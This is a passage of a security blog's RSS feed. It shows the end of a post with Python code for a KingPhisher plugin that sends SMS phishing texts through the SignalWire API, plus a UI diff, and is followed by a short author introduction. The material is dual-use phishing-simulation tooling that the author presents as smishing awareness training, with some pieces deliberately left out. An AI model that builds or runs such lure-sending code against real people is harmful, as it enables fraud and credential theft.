		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;friendly_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Finally, the plugin needs &lt;code&gt;signal_message_send&lt;/code&gt; function that does the actual sending of the text message, through the signalwire API:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;signal_message_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mailer_tab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;text_insert&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mailer_tab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;send_messages&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_insert&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_sms_number_regex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;text_insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Number &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{0}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is not a valid phone number. Not sending!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;

                &lt;span class=&quot;n&quot;&gt;api_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;project_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;space_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;space_url&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;from_number&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;from_phone&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

                &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_space_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;space_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;+{0}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from_number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;+{0}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

                &lt;span class=&quot;n&quot;&gt;text_insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Msg ID &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{0}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; from &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{1}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; to &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{2}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, {3}.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;from_number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;failed&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;text_insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;All combined, these changes make up the basic signalwire SMS plugin. A few other checks and balances will need to be done for the reader to have a complete working plugin. &lt;em&gt;(I don’t want to make it too easy for spammers and script kiddies!)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;Core changes&lt;/h2&gt;

&lt;p&gt;For this project, I needed to alter the client core portion of KingPhisher, to accomodate pure SMS phishing.  These changes include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;adding regex checking for a proper 10 digit phone number _(reading from the email&lt;em&gt;address field, for simplicity)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;HTMLFilter to convert the message template from HTML, to plaintext&lt;/li&gt;
&lt;li&gt;adding a new ‘message type’ to the king phisher client UI, for ‘SMS’&lt;/li&gt;
&lt;li&gt;various checks to skip/ignore MIME message, and SMTP connections if message type is ‘SMS’&lt;/li&gt;
&lt;li&gt;adding the new ‘sms’ message type to config saving and loading functions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: specific code changes to KingPhisher core are not included in this post.&lt;/p&gt;

&lt;p&gt;The front-end change for the UI is pretty simple, just adding a few lines:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;+++ /opt/king-phisher/data/client/king_phisher/king-phisher-client.ui
@@ -7970,6 +7970,23 @@
                      &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
                       &lt;span class=&quot;nt&quot;&gt;&amp;lt;/packing&amp;gt;&lt;/span&gt;
                     &lt;span class=&quot;nt&quot;&gt;&amp;lt;/child&amp;gt;&lt;/span&gt;
+                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;child&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
+                      &lt;span class=&quot;nt&quot;&gt;&amp;lt;object&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;GtkRadioButton&amp;#34;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;MailSenderConfigurationTab.radiobutton_message_type_sms&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;label&amp;#34;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;translatable=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;SMS&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;visible&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;True&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;can_focus&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;True&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;receives_default&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;False&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;tooltip_text&amp;#34;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;translatable=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Send SMS/Text messages&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;draw_indicator&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;True&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;group&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;MailSenderConfigurationTab.radiobutton_message_type_email&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;signal&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;toggled&amp;#34;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;handler=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;signal_radiobutton_toggled_message_type&amp;#34;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;swapped=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;no&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
+                      &lt;span class=&quot;nt&quot;&gt;&amp;lt;/object&amp;gt;&lt;/span&gt;
+                      &lt;span class=&quot;nt&quot;&gt;&amp;lt;packing&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;expand&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;False&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;fill&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;True&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                        &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;position&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;2&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
+                      &lt;span class=&quot;nt&quot;&gt;&amp;lt;/packing&amp;gt;&lt;/span&gt;
+                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/child&amp;gt;&lt;/span&gt;
                   &lt;span class=&quot;nt&quot;&gt;&amp;lt;/object&amp;gt;&lt;/span&gt;
                   &lt;span class=&quot;nt&quot;&gt;&amp;lt;packing&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                     &lt;span class=&quot;nt&quot;&gt;&amp;lt;property&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#34;left_attach&amp;#34;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/property&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;These settings and sending could probably be incorporated directly into KingPhisher, without need for a plugin. With this setup, there are definitely still some caveats to sending SMS messages.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You can’t leave the signalwire SMS plugin enabled when sending a phishing email campaign&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;Signalwire plugin &lt;em&gt;has&lt;/em&gt; to be loaded if the ‘SMS’ message type is selected, or the entire thing fails&lt;br/&gt;&lt;/li&gt;
&lt;li&gt;Because sent messages are queued to signalwire, there’s no real way to confirm the message was delivered&lt;br/&gt;

&lt;ol&gt;
&lt;li&gt;Unless you query for the message SID after its sent to signalwire, which I skipped here&lt;br/&gt;
&lt;br/&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All in all these changes together helped me achieve the goal for training and awareness of SMISHING. I was able to modify KingPhisher to send SMS directly, through signalwire API, instead of an email -&amp;gt; SMS gateway. This was certainly a learning experience, from how KingPhisher plugins work, to the internals, and the complexities of phone numbers and SMS delivery.&lt;/p&gt;

&lt;p&gt;From here, it’s just a matter of creating your target list, substituting the target phone number in the ‘email_address’ column instead of an email. Craft your lures, and remember the message should be fewer than 160 characters, including the link; and hit send!&lt;/p&gt;

&lt;p&gt;Remember, only use this information for good! Have fun with your phishing.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
   &lt;a href=&quot;images/phishing_license.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/phishing_license.png&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;
</description></item><item><title>Introducing myself</title><link>https://blog.penguincoder.com/introductions/</link><guid>https://blog.penguincoder.com/introductions/</guid><pubDate>18 May 2020 00:00 +0000</pubDate><description>&lt;p&gt;So, it has come to this…&lt;/p&gt;

&lt;p&gt;I’ve decided to start a blog. I’ve been meaning to practice my writing, and communication style to improve each. In my personal life, I have setup and actively maintain an internal wiki. This project is a different endeavour. Instead of documentation for my own purposes, I want to reach a wider audience with less ‘specificness’, and share my experiences. From the mundane that I often don’t care to remember (&lt;em&gt;what is the syntax of tshark to display DNS op codes?&lt;/em&gt;), to the complicated assembly level reverse engineering of … whatever. This blog is not about those specific searches..&lt;/p&gt;

&lt;p&gt;Instead, this blog will be about &lt;strong&gt;how&lt;/strong&gt; I came to be searching for those things to begin with! What problems am I trying to solve, how did I end up solving them, and what learned along the way. Certainly as time goes on I will be able to improve upon my knowledge base and process. I would rather automate and script the basics, in order to focus on the more difficult aspects. And of course, no personal blog would be complete without a few ranting posts every now and then.&lt;/p&gt;

&lt;p&gt;I have worked on many aspects of technology and information security throughout my career. From physical security as a US Army Military Police, to computer network forensics as a Security and Threat Intel Analyst. There is no problem too challenging or mundane… I enjoy solving problems. My goal is to design and implement elegant solutions to complex problems.&lt;/p&gt;

&lt;p&gt;I am a security analyst with a a passion for open source projects and the Linux Operating System. I have experience with many aspects related to Information Technology, including devops and system administration, network security administration, and other information security related aspects. My primary skills and knowledge are in Linux administration and information security/Blue team, incident response.&lt;/p&gt;

&lt;p&gt;Hopefully this explains a bit more about who I am and what I hope to acheive with this blog.&lt;/p&gt;
</description></item></channel></rss>